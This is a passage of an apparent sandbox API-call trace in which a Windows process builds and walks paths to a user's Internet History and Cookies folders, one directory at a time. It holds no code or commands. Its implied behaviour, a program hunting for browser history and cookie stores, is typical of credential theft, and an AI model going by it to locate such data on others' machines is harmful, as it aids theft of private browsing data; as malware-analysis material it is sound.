pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.956] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.956] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0117.956] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0117.956] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="microsoft", len=0x9 | out: pbstr=0x4706a0*="microsoft") returned 1 [0117.956] SysReAllocStringLen (in: pbstr=0x4706d0*=0x0, psz="windows", len=0x7 | out: pbstr=0x4706d0*="windows") returned 1 [0117.956] SysReAllocStringLen (in: pbstr=0x4706dc*=0x0, psz="history", len=0x7 | out: pbstr=0x4706dc*="history") returned 1 [0117.956] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.956] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localtan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0117.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoftjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0117.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="history", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="historyftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.957] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.957] SysReAllocStringLen (in: pbstr=0x28f880*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f880*="c:\\") returned 1 [0117.957] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.957] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75b820 [0117.957] FindNextFileW (in: hFindFile=0x75b820, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.958] GetLastError () returned 0x12 [0117.958] FindClose (in: hFindFile=0x75b820 | out: hFindFile=0x75b820) returned 1 [0117.958] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.958] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f880*="c:\\Users\\") returned 1 [0117.958] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.958] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75b820 [0117.958] FindNextFileW (in: hFindFile=0x75b820, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.958] GetLastError () returned 0x12 [0117.958] FindClose (in: hFindFile=0x75b820 | out: hFindFile=0x75b820) returned 1 [0117.958] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.958] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.958] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0117.958] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75bce0 [0117.958] FindNextFileW (in: hFindFile=0x75bce0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0117.958] GetLastError () returned 0x12 [0117.959] FindClose (in: hFindFile=0x75bce0 | out: hFindFile=0x75bce0) returned 1 [0117.959] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0117.959] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0117.959] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="local", len=0x5 | out: pbstr=0x28f584*="local") returned 1 [0117.959] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x75bb70 [0117.959] FindNextFileW (in: hFindFile=0x75bb70, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0117.959] GetLastError () returned 0x12 [0117.959] FindClose (in: hFindFile=0x75bb70 | out: hFindFile=0x75bb70) returned 1 [0117.959] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0117.959] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0117.959] SysReAllocStringLen (in: pbstr=0x28f584*="local", psz="microsoft", len=0x9 | out: pbstr=0x28f584*="microsoft") returned 1 [0117.959] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\microsoft", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0x75bb70 [0117.959] FindNextFileW (in: hFindFile=0x75bb70, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0117.959] GetLastError () returned 0x12 [0117.959] FindClose (in: hFindFile=0x75bb70 | out: hFindFile=0x75bb70) returned 1 [0117.960] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", len=0x35 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 1 [0117.960] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", len=0x36 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\") returned 1 [0117.960] SysReAllocStringLen (in: pbstr=0x28f584*="microsoft", psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0117.960] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x75b820 [0117.960] FindNextFileW (in: hFindFile=0x75b820, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0117.960] GetLastError () returned 0x12 [0117.960] FindClose (in: hFindFile=0x75b820 | out: hFindFile=0x75b820) returned 1 [0117.960] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows", len=0x3d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows") returned 1 [0117.960] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", len=0x3e | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\") returned 1 [0117.960] SysReAllocStringLen (in: pbstr=0x28f584*="windows", psz="history", len=0x7 | out: pbstr=0x28f584*="history") returned 1 [0117.960] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\history", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0x75b820 [0117.961] FindNextFileW (in: hFindFile=0x75b820, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0 [0117.961] GetLastError () returned 0x12 [0117.961] FindClose (in: hFindFile=0x75b820 | out: hFindFile=0x75b820) returned 1 [0117.961] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", len=0x45 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0117.961] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", len=0x46 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned 1 [0117.961] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", len=0x46 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned 1 [0117.961] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", len=0x45 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0117.962] SysReAllocStringLen (in: pbstr=0x28f884*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", len=0x45 | out: pbstr=0x28f884*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0117.962] SysReAllocStringLen (in: pbstr=0x460614*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", len=0x46 | out: pbstr=0x460614*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned 1 [0117.962] SHGetFolderPathW (in: hwnd=0x0, csidl=33, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 0x0 [0117.963] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", cchLength=0x47 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies") returned 0x47 [0117.963] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies", len=0x47 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies") returned 1 [0117.963] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.963] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.964] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.964] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0117.964] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="roaming", len=0x7 | out: pbstr=0x470694*="roaming") returned 1 [0117.964] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="microsoft", len=0x9 | out: pbstr=0x4706a0*="microsoft") returned 1 [0117.964] SysReAllocStringLen (in: pbstr=0x4706d0*=0x0, psz="windows", len=0x7 | out: pbstr=0x4706d0*="windows") returned 1 [0117.964] SysReAllocStringLen (in: pbstr=0x4706dc*=0x0, psz="cookies", len=0x7 | out: pbstr=0x4706dc*="cookies") returned 1 [0117.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="roaming", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="roamingn0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.965] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoftjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0117.965] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.965] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cookies", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cookiesftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.965] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.965] SysReAllocStringLen (in: pbstr=0x28f874*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f874*="c:\\") returned 1 [0117.965] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.965] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75ba90 [0117.965] FindNextFileW (in: hFindFile=0x75ba90, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.965] GetLastError () returned 0x12 [0117.965] FindClose (in: hFindFile=0x75ba90 | out: hFindFile=0x75ba90) returned 1 [0117.965] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f874*="c:\\Users\\") returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.966] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75ba90 [0117.966] FindNextFileW (in: hFindFile=0x75ba90, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.966] GetLastError () returned 0x12 [0117.966] FindClose (in: hFindFile=0x75ba90 | out: hFindFile=0x75ba90) returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0117.966] FindFirstFileW (in: 